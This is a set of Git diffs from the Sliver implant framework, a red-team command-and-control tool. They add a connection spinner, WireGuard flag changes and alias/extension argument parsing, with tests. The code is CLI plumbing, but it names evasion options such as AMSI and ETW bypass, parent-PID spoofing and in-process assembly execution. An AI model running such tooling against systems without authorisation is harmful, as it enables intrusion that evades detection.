[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![golangci-lint](https://github.com/BishopFox/sliver/actions/workflows/golangci-lint.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/golangci-lint.yml) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
Visit [https://sliver.sh/](https://sliver.sh/) for tutorials and documentation.
+1 -2
View File
@@ -52,8 +52,7 @@ func init() {
rootCmd.TraverseChildren = true
rootCmd.Flags().String(RCFlagName, "", "path to rc script file")
rootCmd.PersistentFlags().Bool(disableWGFlag, false, "connect to multiplayer directly even if the operator config includes a WireGuard wrapper")
rootCmd.PersistentFlags().Bool(requireWGFlag, false, "require the operator config's WireGuard wrapper for multiplayer connections")
rootCmd.PersistentFlags().Bool(enableWGFlag, false, "connect to multiplayer through the operator config's WireGuard wrapper")
// Create the console client, without any RPC or commands bound to it yet.
// This created before anything so that multiple commands can make use of
+177
View File
@@ -0,0 +1,177 @@
package cli
import (
"fmt"
"io"
"strings"
"time"
"unicode/utf8"
bspinner "charm.land/bubbles/v2/spinner"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"google.golang.org/grpc"
)
const (
minConnectSpinnerDuration = 900 * time.Millisecond
minConnectStatusDuration = 350 * time.Millisecond
)
type connectResult struct {
rpc rpcpb.SliverRPCClient
conn *grpc.ClientConn
err error
}
func connectWithSpinner(out io.Writer, target string, connect func(transport.ConnectStatusFn) (rpcpb.SliverRPCClient, *grpc.ClientConn, error)) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
statusCh := make(chan string, 8)
resultCh := make(chan connectResult, 1)
go func() {
rpc, conn, err := connect(func(status string) {
sendStatus(statusCh, status)
})
resultCh <- connectResult{rpc: rpc, conn: conn, err: err}
}()
currentStatus := ""
currentStatusSince := time.Time{}
queuedStatus := ""
lastWidth := 0
spinner := bspinner.New(bspinner.WithSpinner(bspinner.Line))
ticker := time.NewTicker(spinner.Spinner.FPS)
defer ticker.Stop()
startedAt := time.Now()
var pendingResult *connectResult
setStatus := func(status string) {
status = strings.TrimSpace(status)
if status == "" || status == currentStatus {
return
}
currentStatus = status
currentStatusSince = time.Now()
}
stageStatus := func(status string) {
status = strings.TrimSpace(status)
if status == "" {
return
}
if currentStatus == "" || time.Since(currentStatusSince) >= minConnectStatusDuration {
queuedStatus = ""
setStatus(status)
return
}
queuedStatus = status
}
flushQueuedStatus := func() {
if queuedStatus == "" || time.Since(currentStatusSince) < minConnectStatusDuration {
return
}
nextStatus := queuedStatus
queuedStatus = ""
setStatus(nextStatus)
}
canReturnPendingResult := func() bool {
if pendingResult == nil {
return false
}
if pendingResult.err != nil {
return true
}
if time.Since(startedAt) < minConnectSpinnerDuration {
return false
}
if queuedStatus != "" {
return false
}
if !currentStatusSince.IsZero() && time.Since(currentStatusSince) < minConnectStatusDuration {
return false
}
return true
}
render := func() {
line := fmt.Sprintf("%s %s", spinner.View(), formatConnectSpinnerMessage(target, currentStatus))
lastWidth = writeSpinnerLine(out, line, lastWidth)
}
render()
for {
select {
case status := <-statusCh:
stageStatus(status)
spinner, _ = spinner.Update(spinner.Tick())
render()
case result := <-resultCh:
pendingResult = &result
case <-ticker.C:
spinner, _ = spinner.Update(spinner.Tick())
flushQueuedStatus()
render()
if canReturnPendingResult() {
result := *pendingResult
pendingResult = nil
clearSpinnerLine(out, lastWidth)
return result.rpc, result.conn, result.err
}
}
if pendingResult != nil && pendingResult.err != nil {
result := *pendingResult
pendingResult = nil
clearSpinnerLine(out, lastWidth)
return result.rpc, result.conn, result.err
}
}
}
func sendStatus(statusCh chan string, status string) {
status = strings.TrimSpace(status)
if status == "" {
return
}
statusCh <- status
}
func formatConnectSpinnerMessage(target string, status string) string {
target = strings.TrimSpace(target)
status = strings.TrimSpace(status)
if target == "" {
if status == "" {
return "Connecting ..."
}
return fmt.Sprintf("Connecting (%s) ...", status)
}
if status == "" {
return fmt.Sprintf("Connecting to %s ...", target)
}
return fmt.Sprintf("Connecting to %s (%s) ...", target, status)
}
func writeSpinnerLine(out io.Writer, line string, lastWidth int) int {
width := utf8.RuneCountInString(line)
padding := ""
if lastWidth > width {
padding = strings.Repeat(" ", lastWidth-width)
}
fmt.Fprintf(out, "\r%s%s", line, padding)
if width > lastWidth {
return width
}
return lastWidth
}
func clearSpinnerLine(out io.Writer, lastWidth int) {
if lastWidth <= 0 {
return
}
fmt.Fprintf(out, "\r%s\r", strings.Repeat(" ", lastWidth))
}
+132
View File
@@ -0,0 +1,132 @@
package cli
import (
"bytes"
"strings"
"testing"
"time"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"google.golang.org/grpc"
)
func TestFormatConnectSpinnerMessage(t *testing.T) {
tests := []struct {
name string
target string
status string
want string
}{
{
name: "target only",
target: "127.0.0.1:31337",
want: "Connecting to 127.0.0.1:31337 ...",
},
{
name: "target with status",
target: "127.0.0.1:31337",
status: "wireguard",
want: "Connecting to 127.0.0.1:31337 (wireguard) ...",
},
{
name: "status without target",
status: "grpc/mtls",
want: "Connecting (grpc/mtls) ...",
},
{
name: "trim whitespace",
target: " 127.0.0.1:31337 ",
status: " grpc/mtls over wireguard ",
want: "Connecting to 127.0.0.1:31337 (grpc/mtls over wireguard) ...",
},
}
for _, test := range tests {
t.Run(test.name, func(t *testing.T) {
if got := formatConnectSpinnerMessage(test.target, test.status); got != test.want {
t.Fatalf("expected %q, got %q", test.want, got)
}
})
}
}
func TestConnectWithSpinnerOutput(t *testing.T) {
var out bytes.Buffer
spinnerDelay := 2 * (100 * time.Millisecond)
_, _, err := connectWithSpinner(&out, "127.0.0.1:31337", func(statusFn transport.ConnectStatusFn) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
statusFn("wireguard")
time.Sleep(spinnerDelay)
statusFn("grpc/mtls over wireguard")
time.Sleep(spinnerDelay)
return nil, nil, nil
})
if err != nil {
t.Fatalf("connectWithSpinner returned error: %v", err)
}
got := out.String()
if !strings.Contains(got, "Connecting to 127.0.0.1:31337 (wireguard) ...") {
t.Fatalf("expected wireguard status in output, got %q", got)
}
if !strings.Contains(got, "Connecting to 127.0.0.1:31337 (grpc/mtls over wireguard) ...") {
t.Fatalf("expected grpc over wireguard status in output, got %q", got)
}
frameCount := 0
for _, frame := range []string{"|", "/", "-", "\\"} {
if strings.Contains(got, frame+" Connecting to 127.0.0.1:31337") {
frameCount++
}
}
if frameCount < 2 {
t.Fatalf("expected multiple spinner frames in output, got %q", got)
}
}
func TestConnectWithSpinnerFastSuccessStillShowsMultipleFrames(t *testing.T) {
var out bytes.Buffer
_, _, err := connectWithSpinner(&out, "127.0.0.1:31337", func(statusFn transport.ConnectStatusFn) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
statusFn("grpc/mtls")
return nil, nil, nil
})
if err != nil {
t.Fatalf("connectWithSpinner returned error: %v", err)
}
got := out.String()
frameCount := 0
for _, frame := range []string{"|", "/", "-", "\\"} {
if strings.Contains(got, frame+" Connecting to 127.0.0.1:31337 (grpc/mtls) ...") {
frameCount++
}
}
if frameCount < 2 {
t.Fatalf("expected multiple spinner frames for fast success, got %q", got)
}
}
func TestConnectWithSpinnerFastSuccessShowsEachStatus(t *testing.T) {
var out bytes.Buffer
_, _, err := connectWithSpinner(&out, "127.0.0.1:31337", func(statusFn transport.ConnectStatusFn) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
statusFn("wireguard")
statusFn("grpc/mtls over wireguard")
return nil, nil, nil
})
if err != nil {
t.Fatalf("connectWithSpinner returned error: %v", err)
}
got := out.String()
if !strings.Contains(got, "Connecting to 127.0.0.1:31337 (wireguard) ...") {
t.Fatalf("expected fast success output to include wireguard status, got %q", got)
}
if !strings.Contains(got, "Connecting to 127.0.0.1:31337 (grpc/mtls over wireguard) ...") {
t.Fatalf("expected fast success output to include grpc over wireguard status, got %q", got)
}
if strings.Contains(got, "Connected to 127.0.0.1:31337") {
t.Fatalf("did not expect past-tense success output, got %q", got)
}
}
+11 -7
View File
@@ -20,6 +20,7 @@ package cli
import (
"fmt"
"os"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command"
@@ -64,17 +65,20 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
return nil
}
// Don't clobber output when simply running an implant command from system shell.
if run {
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
}
target := fmt.Sprintf("%s:%d", config.LHost, config.LPort)
var rpc rpcpb.SliverRPCClient
var ln *grpc.ClientConn
rpc, ln, err = transport.MTLSConnect(config)
// Don't clobber output when simply running an implant command from system shell.
if run {
rpc, ln, err = connectWithSpinner(os.Stdout, target, func(statusFn transport.ConnectStatusFn) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
return transport.MTLSConnectWithStatus(config, statusFn)
})
} else {
rpc, ln, err = transport.MTLSConnect(config)
}
if err != nil {
fmt.Printf("Connection to server failed %s", err)
fmt.Printf("Connection to server failed %s\n", err)
return nil
}
return console.StartClient(con, rpc, ln, &console.ConnectionDetails{ConfigKey: configKey, Config: config}, command.ServerCommands(con, nil), command.SliverCommands(con), run, rcScript)
+6 -19
View File
@@ -1,41 +1,28 @@
package cli
import (
"fmt"
"github.com/bishopfox/sliver/client/transport"
"github.com/spf13/cobra"
)
const (
requireWGFlag = "require-wg"
disableWGFlag = "disable-wg"
enableWGFlag = "enable-wg"
)
func applyMultiplayerConnectMode(cmd *cobra.Command) error {
if cmd == nil {
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectAuto)
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectDirect)
return nil
}
requireWG, err := cmd.Flags().GetBool(requireWGFlag)
enableWG, err := cmd.Flags().GetBool(enableWGFlag)
if err != nil {
return err
}
disableWG, err := cmd.Flags().GetBool(disableWGFlag)
if err != nil {
return err
}
if requireWG && disableWG {
return fmt.Errorf("--%s and --%s cannot be used together", requireWGFlag, disableWGFlag)
}
mode := transport.MultiplayerConnectAuto
switch {
case requireWG:
mode = transport.MultiplayerConnectRequireWG
case disableWG:
mode = transport.MultiplayerConnectDisableWG
mode := transport.MultiplayerConnectDirect
if enableWG {
mode = transport.MultiplayerConnectEnableWG
}
transport.SetMultiplayerConnectMode(mode)
return nil
+251
View File
@@ -0,0 +1,251 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"strconv"
"strings"
"github.com/spf13/cobra"
)
// Alias commands run with cobra's DisableFlagParsing enabled (see LoadAlias),
// the same treatment extension commands received for their arguments. Before
// that, an unknown flag such as the payload's own `-pid` was rejected outright
// by pflag ("unknown flag"), and operators had to inject cobra's "--"
// separator (documented on the wiki) to pass arguments through at all (#2264).
//
// With flag parsing disabled cobra hands Run the raw, unstripped slice, and we
// extract the Sliver-owned flags ourselves here. Everything we do not own is
// passed to the payload untouched, so all of these now work:
//
// amsi-bypass -pid 6969
// fakealias --process notepad.exe arg1 arg2
// fakealias -- --anything still-here (existing workaround, unchanged)
type ownedFlagKind int
const (
ownedBool ownedFlagKind = iota
ownedString
ownedUint32
ownedInt64
)
// ownedFlagSpec describes one Sliver-owned flag that splitAliasArgs extracts
// from the raw argument slice before the rest is handed to the alias payload.
type ownedFlagSpec struct {
long string // canonical pflag name, e.g. "process-arguments"
short string // shorthand letter, e.g. "A" ("" if the flag has none)
kind ownedFlagKind // how the value is consumed and validated
}
// baseAliasOwnedFlags are registered for every alias command.
var baseAliasOwnedFlags = []ownedFlagSpec{
{long: "process", short: "p", kind: ownedString},
{long: "process-arguments", short: "A", kind: ownedString},
{long: "ppid", short: "P", kind: ownedUint32},
{long: "save", short: "s", kind: ownedBool},
{long: "timeout", short: "t", kind: ownedInt64},
}
// assemblyAliasOwnedFlags are only owned when the alias wraps a .NET assembly;
// for every other alias they are unknown tokens and pass through to the payload.
var assemblyAliasOwnedFlags = []ownedFlagSpec{
{long: "method", short: "m", kind: ownedString},
{long: "class", short: "c", kind: ownedString},
{long: "app-domain", short: "d", kind: ownedString},
{long: "arch", short: "a", kind: ownedString},
{long: "in-process", short: "i", kind: ownedBool},
{long: "runtime", short: "r", kind: ownedString},
{long: "amsi-bypass", short: "M", kind: ownedBool},
{long: "etw-bypass", short: "E", kind: ownedBool},
}
// aliasOwnedFlagSpecs returns the flag set owned by a particular alias.
func aliasOwnedFlagSpecs(isAssembly bool) []ownedFlagSpec {
if !isAssembly {
return baseAliasOwnedFlags
}
specs := make([]ownedFlagSpec, 0, len(baseAliasOwnedFlags)+len(assemblyAliasOwnedFlags))
specs = append(specs, baseAliasOwnedFlags...)
return append(specs, assemblyAliasOwnedFlags...)
}
// ownedFlagMatch is a raw token that spelled one of the Sliver-owned flags.
type ownedFlagMatch struct {
spec ownedFlagSpec
value string // value from a "--flag=value" / "-f=value" spelling
inline bool // whether the token carried its value inline
}
// splitAliasArgs separates the Sliver-owned flags from the alias payload's own
// arguments in a raw (DisableFlagParsing) argument slice. It accepts the long
// forms --flag, --flag=value, --flag value and the shorthand forms -f, -f=value,
// -f value, mirroring pflag. Two deliberate differences from pflag:
//
// - a glued shorthand value (-pnotepad) does NOT match --process: tokens
// like the payload's own "-pid" must survive intact (#2264);
// - after a literal "--" every token is copied through verbatim, preserving
// the long-standing separator workaround.
//
// The returned map holds the raw string value of each flag that was provided;
// callers re-publish the values with applyOwnedAliasFlags.
func splitAliasArgs(raw []string, specs []ownedFlagSpec) (map[string]string, bool, []string, error) {
values := make(map[string]string)
extArgs := make([]string, 0, len(raw))
byLong, byShort := ownedFlagTables(specs)
passthrough := false
for i := 0; i < len(raw); i++ {
tok := raw[i]
// Once we have seen "--", copy everything through untouched.
if passthrough {
extArgs = append(extArgs, tok)
continue
}
if tok == "--" {
passthrough = true
continue
}
if tok == "--help" || tok == "-h" {
return values, true, extArgs, nil
}
match, ok := matchOwnedFlag(tok, byLong, byShort)
if !ok {
// Not one of ours (including glued shorthands and the payload's
// own flags): the alias owns the token, pass it through untouched.
extArgs = append(extArgs, tok)
continue
}
i = takeOwnedValue(match, raw, i, values)
}
if err := validateOwnedValues(specs, values); err != nil {
return nil, false, nil, err
}
return values, false, extArgs, nil
}
// ownedFlagTables indexes the specs by long name and shorthand.
func ownedFlagTables(specs []ownedFlagSpec) (byLong, byShort map[string]ownedFlagSpec) {
byLong = make(map[string]ownedFlagSpec, len(specs))
byShort = make(map[string]ownedFlagSpec, len(specs))
for _, spec := range specs {
byLong[spec.long] = spec
if spec.short != "" {
byShort[spec.short] = spec
}
}
return byLong, byShort
}
// matchOwnedFlag checks whether tok spells one of the Sliver-owned flags, in
// the long form (--name, --name=value) or shorthand form (-f, -f=value). A
// glued shorthand value (-pnotepad) deliberately does not match: pflag would
// read "-pid" as -p with value "id", which is exactly the mangling that broke
// #2264, so such tokens must fall through to the payload.
func matchOwnedFlag(tok string, byLong, byShort map[string]ownedFlagSpec) (ownedFlagMatch, bool) {
var match ownedFlagMatch
var name, value string
var hasValue, isShort bool
switch {
case strings.HasPrefix(tok, "--"):
name, value, hasValue = strings.Cut(tok[2:], "=")
case strings.HasPrefix(tok, "-") && len(tok) > 1:
name, value, hasValue = strings.Cut(tok[1:], "=")
isShort = len(name) == 1
default:
return match, false
}
spec, ok := byLong[name]
if isShort {
spec, ok = byShort[name]
}
if !ok {
return match, false
}
match.spec, match.value, match.inline = spec, value, hasValue
return match, true
}
// takeOwnedValue records the flag's value in values and returns the index of
// the last raw token it consumed. The "--flag value" / "-f value" spellings
// consume the following token; a bool without an inline value defaults to
// true; a value flag as the very last token is dropped and keeps its default,
// mirroring the extension behaviour.
func takeOwnedValue(match ownedFlagMatch, raw []string, i int, values map[string]string) int {
switch {
case match.spec.kind == ownedBool:
if !match.inline {
match.value = "true"
}
values[match.spec.long] = match.value
case match.inline:
values[match.spec.long] = match.value
case i+1 < len(raw):
values[match.spec.long] = raw[i+1]
return i + 1
}
return i
}
// validateOwnedValues rejects non-numeric values for the numeric flag kinds,
// the way pflag's typed values would have.
func validateOwnedValues(specs []ownedFlagSpec, values map[string]string) error {
for _, spec := range specs {
value, provided := values[spec.long]
if !provided {
continue
}
var err error
switch spec.kind {
case ownedUint32:
_, err = strconv.ParseUint(value, 10, 32)
case ownedInt64:
_, err = strconv.ParseInt(value, 10, 64)
}
if err != nil {
return fmt.Errorf("invalid value %q for --%s", value, spec.long)
}
}
return nil
}
// applyOwnedAliasFlags republishes the manually parsed Sliver-owned flag values
// onto the command's flag set. DisableFlagParsing prevents pflag from
// populating them, so readers such as runAliasCommand's Get* calls and
// ActiveTarget.Request (which derives the gRPC timeout from --timeout) would
// otherwise observe only the defaults.
func applyOwnedAliasFlags(cmd *cobra.Command, values map[string]string) error {
for name, value := range values {
flag := cmd.Flags().Lookup(name)
if flag == nil {
continue // e.g. an assembly flag on a non-assembly alias
}
if err := flag.Value.Set(value); err != nil {
return fmt.Errorf("invalid value %q for --%s: %w", value, name, err)
}
}
return nil
}
+259
View File
@@ -0,0 +1,259 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"reflect"
"testing"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// TestSplitAliasArgs covers the argument passthrough regression from #2264:
// the alias payload's own flags must reach the payload intact, while the
// Sliver-owned flags are extracted and validated.
func TestSplitAliasArgs(t *testing.T) {
base := aliasOwnedFlagSpecs(false)
assembly := aliasOwnedFlagSpecs(true)
cases := []struct {
name string
specs []ownedFlagSpec
in []string
values map[string]string
help bool
extArgs []string
wantErr bool
}{
{
name: "payload flag without -- separator (#2264 regression)",
specs: base,
in: []string{"-pid", "6969"},
values: map[string]string{},
extArgs: []string{"-pid", "6969"},
},
{
name: "glued shorthand is not ours and passes through",
specs: base,
in: []string{"-pid"},
values: map[string]string{},
extArgs: []string{"-pid"},
},
{
name: "payload flag with -- separator (existing workaround)",
specs: base,
in: []string{"--", "--pid", "6969"},
values: map[string]string{},
extArgs: []string{"--pid", "6969"},
},
{
name: "owned flag after -- belongs to the payload",
specs: base,
in: []string{"--", "--save"},
values: map[string]string{},
extArgs: []string{"--save"},
},
{
name: "long flag with separate value, then payload args",
specs: base,
in: []string{"--process", "notepad.exe", "arg1", "arg2"},
values: map[string]string{"process": "notepad.exe"},
extArgs: []string{"arg1", "arg2"},
},
{
name: "long flag with equals value",
specs: base,
in: []string{"--process=notepad.exe", "arg1"},
values: map[string]string{"process": "notepad.exe"},
extArgs: []string{"arg1"},
},
{
name: "shorthand with separate value",
specs: base,
in: []string{"-p", "notepad.exe", "arg1"},
values: map[string]string{"process": "notepad.exe"},
extArgs: []string{"arg1"},
},
{
name: "shorthand with equals value",
specs: base,
in: []string{"-p=notepad.exe"},
values: map[string]string{"process": "notepad.exe"},
extArgs: []string{},
},
{
name: "bool shorthand and long false form",
specs: base,
in: []string{"-s", "--save=false", "arg1"},
values: map[string]string{"save": "false"},
extArgs: []string{"arg1"},
},
{
name: "quoted value containing spaces stays a single argument",
specs: base,
in: []string{"-A", "-kalc -kdisable", "arg1"},
values: map[string]string{"process-arguments": "-kalc -kdisable"},
extArgs: []string{"arg1"},
},
{
name: "valid uint32 and int64 values",
specs: base,
in: []string{"-P", "1234", "--timeout=90"},
values: map[string]string{"ppid": "1234", "timeout": "90"},
extArgs: []string{},
},
{
name: "invalid uint32 value errors",
specs: base,
in: []string{"--ppid", "notanumber"},
wantErr: true,
},
{
name: "invalid int64 value errors",
specs: base,
in: []string{"--timeout=x"},
wantErr: true,
},
{
name: "assembly flags are owned for assembly aliases",
specs: assembly,
in: []string{"--method", "Run", "--class", "Prog", "-i", "-M", "--arch", "x64", "payloadArg"},
values: map[string]string{
"method": "Run", "class": "Prog", "in-process": "true",
"amsi-bypass": "true", "arch": "x64",
},
extArgs: []string{"payloadArg"},
},
{
name: "assembly flags pass through for non-assembly aliases",
specs: base,
in: []string{"--method", "Run"},
values: map[string]string{},
extArgs: []string{"--method", "Run"},
},
{
name: "help flags are detected",
specs: base,
in: []string{"--help"},
help: true,
values: map[string]string{},
extArgs: []string{},
},
{
name: "short help is detected",
specs: base,
in: []string{"-h"},
help: true,
values: map[string]string{},
extArgs: []string{},
},
{
name: "value flag as last token keeps its default",
specs: base,
in: []string{"arg1", "--process"},
values: map[string]string{},
extArgs: []string{"arg1"},
},
{
name: "empty input",
specs: base,
in: nil,
values: map[string]string{},
extArgs: []string{},
},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
values, help, extArgs, err := splitAliasArgs(tc.in, tc.specs)
if tc.wantErr {
if err == nil {
t.Fatalf("expected error, got values=%#v help=%v extArgs=%#v", values, help, extArgs)
}
return
}
if err != nil {
t.Fatalf("unexpected error: %s", err)
}
if help != tc.help {
t.Errorf("help: got %v, want %v", help, tc.help)
}
if !reflect.DeepEqual(values, tc.values) {
t.Errorf("values: got %#v, want %#v", values, tc.values)
}
if !reflect.DeepEqual(extArgs, tc.extArgs) {
t.Errorf("extArgs: got %#v, want %#v", extArgs, tc.extArgs)
}
})
}
}
// TestApplyOwnedAliasFlags checks that manually parsed values are re-published
// on the command's flag set for every value type an alias can own.
func TestApplyOwnedAliasFlags(t *testing.T) {
cmd := &cobra.Command{}
f := pflag.NewFlagSet("alias-test", pflag.ContinueOnError)
f.StringP("process", "p", "", "host process")
f.StringP("process-arguments", "A", "", "host process arguments")
f.Uint32P("ppid", "P", 0, "parent pid")
f.BoolP("save", "s", false, "save output")
f.Int64P("timeout", "t", 60, "timeout")
f.BoolP("amsi-bypass", "M", false, "amsi bypass")
cmd.Flags().AddFlagSet(f)
err := applyOwnedAliasFlags(cmd, map[string]string{
"process": "notepad.exe",
"process-arguments": "-k foo",
"ppid": "1234",
"save": "true",
"timeout": "90",
"amsi-bypass": "true",
})
if err != nil {
t.Fatalf("unexpected error: %s", err)
}
for name, want := range map[string]interface{}{
"process": "notepad.exe", "process-arguments": "-k foo",
} {
got, _ := cmd.Flags().GetString(name)
if got != want.(string) {
t.Errorf("%s: got %q, want %q", name, got, want)
}
}
if ppid, _ := cmd.Flags().GetUint32("ppid"); ppid != 1234 {
t.Errorf("ppid: got %d, want 1234", ppid)
}
if save, _ := cmd.Flags().GetBool("save"); !save {
t.Error("save: got false, want true")
}
if timeout, _ := cmd.Flags().GetInt64("timeout"); timeout != 90 {
t.Errorf("timeout: got %d, want 90", timeout)
}
if amsi, _ := cmd.Flags().GetBool("amsi-bypass"); !amsi {
t.Error("amsi-bypass: got false, want true")
}
// Unset flags keep their defaults.
if inProc := cmd.Flags().Lookup("in-process"); inProc != nil {
t.Error("in-process should not be registered on this command")
}
}
+29 -5
View File
@@ -215,8 +215,6 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
longHelp.WriteString(fmt.Sprintf("%s (%s):\t%s%s", strings.ToUpper(arg.Name), aType, optStr, arg.Desc))
}
}
longHelp.WriteString("\n\n⚠️ If you're having issues passing arguments to the alias please read:\n")
longHelp.WriteString("https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing")
// for each alias command, add a new app command
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
@@ -227,9 +225,14 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
Run: func(cmd *cobra.Command, args []string) {
runAliasCommand(cmd, con, args)
},
Args: cobra.ArbitraryArgs, // a.StringList("arguments", "arguments", grumble.Default([]string{}))
GroupID: consts.AliasHelpGroup,
Annotations: makeAliasPlatformFilters(aliasManifest),
Args: cobra.ArbitraryArgs, // a.StringList("arguments", "arguments", grumble.Default([]string{}))
// DisableFlagParsing keeps the alias payload's own flags (which are
// unknown to pflag) from being rejected or swallowed; we split the
// Sliver-owned flags out of the raw slice ourselves in
// runAliasCommand (#2264, same treatment as extensions).
DisableFlagParsing: true,
GroupID: consts.AliasHelpGroup,
Annotations: makeAliasPlatformFilters(aliasManifest),
}
if aliasManifest.IsAssembly {
@@ -333,6 +336,27 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
return
}
aliasManifest := loadedAlias.Manifest
// The command runs with DisableFlagParsing, so args is the raw, unstripped
// slice. Separate the Sliver-owned flags from the payload's own arguments
// and re-publish them on the flag set (so the Get* readers below and
// Request()'s --timeout still work), then hand only the payload arguments
// to the execution paths (#2264, same treatment as extensions in #2323).
ownedValues, helpRequested, payloadArgs, err := splitAliasArgs(args, aliasOwnedFlagSpecs(aliasManifest.IsAssembly))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if helpRequested {
_ = cmd.Help()
return
}
if err := applyOwnedAliasFlags(cmd, ownedValues); err != nil {
con.PrintErrorf("%s\n", err)
return
}
args = payloadArgs
binPath, err := aliasManifest.getFileForTarget(cmd.Name(), goos, goarch)
if err != nil {
con.PrintErrorf("Fail to find alias file: %s\n", err)
+1 -1
View File
@@ -164,7 +164,7 @@ func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Something is wrong with this entry
pkgCache.Delete(value)
pkgCache.Delete(key)
return true
}
if cacheEntry.ArmoryConfig.PublicKey != index.ArmoryConfig.PublicKey {
+123
View File
@@ -0,0 +1,123 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"strconv"
"strings"
"github.com/spf13/cobra"
)
// splitExtensionArgs separates Sliver-owned flags (--save, --timeout, --help)
// from the extension's own arguments in a raw argument slice.
//
// Extension commands run with cobra's DisableFlagParsing enabled (see
// ExtensionRegisterCommand). Without it, pflag parses the command line first
// and, because the extension's own flags (e.g. --type, --fqdn) are unknown to
// pflag, ParseErrorsWhitelist.UnknownFlags causes pflag to silently drop each
// unknown flag together with its value; the BOF argument parser never saw them
// unless the operator injected cobra's "--" separator (#2309). Running with
// flag parsing disabled hands us the raw, unstripped slice, so we separate the
// Sliver-owned flags ourselves here.
//
// A literal "--" stops Sliver-flag scanning; every token after it is passed
// through verbatim, preserving the long-standing workaround syntax. Unknown
// tokens (the extension's named flags, their values and positional arguments)
// are never consumed or reordered, so both forms work:
//
// delegationbof --timeout 30 --type 6 --fqdn child.htb.local
// delegationbof -- --type 6 --fqdn child.htb.local
func splitExtensionArgs(raw []string) (save bool, timeout int64, help bool, extArgs []string) {
timeout = defaultTimeout
extArgs = make([]string, 0, len(raw))
passthrough := false
for i := 0; i < len(raw); i++ {
tok := raw[i]
// Once we have seen "--", copy everything through untouched so the
// existing `ext -- --foo bar` syntax keeps working identically.
if passthrough {
extArgs = append(extArgs, tok)
continue
}
switch {
case tok == "--":
passthrough = true
case tok == "--help" || tok == "-h":
help = true
case tok == "--save" || tok == "-s":
save = true
case strings.HasPrefix(tok, "--save="):
save = parseBoolValue(tok[len("--save="):], true)
case tok == "--timeout" || tok == "-t":
// Consume the following token as the value, mirroring pflag. If no
// token follows, leave the default in place rather than erroring.
if i+1 < len(raw) {
if n, err := strconv.ParseInt(raw[i+1], 10, 64); err == nil {
timeout = n
}
i++
}
case strings.HasPrefix(tok, "--timeout="):
if n, err := strconv.ParseInt(tok[len("--timeout="):], 10, 64); err == nil {
timeout = n
}
default:
// Not a Sliver-owned flag: hand it to the extension parser untouched.
extArgs = append(extArgs, tok)
}
}
return save, timeout, help, extArgs
}
// applyOwnedFlags republishes the manually parsed Sliver-owned flag values back
// onto the command's flag set. DisableFlagParsing prevents pflag from populating
// them, so helpers that read them via cmd.Flags() (notably ActiveTarget.Request,
// which derives the gRPC timeout from --timeout) would otherwise observe only the
// defaults.
func applyOwnedFlags(cmd *cobra.Command, save bool, timeout int64) {
if flag := cmd.Flags().Lookup("timeout"); flag != nil {
_ = flag.Value.Set(strconv.FormatInt(timeout, 10))
}
if flag := cmd.Flags().Lookup("save"); flag != nil {
_ = flag.Value.Set(strconv.FormatBool(save))
}
}
// parseBoolValue parses a --flag=value bool, defaulting to defVal when the value
// is empty (the bare-flag form). It accepts the same spellings pflag does.
func parseBoolValue(v string, defVal bool) bool {
switch strings.ToLower(v) {
case "", "true", "t", "1":
return true
case "false", "f", "0":
return false
}
return defVal
}
+149
View File
@@ -0,0 +1,149 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
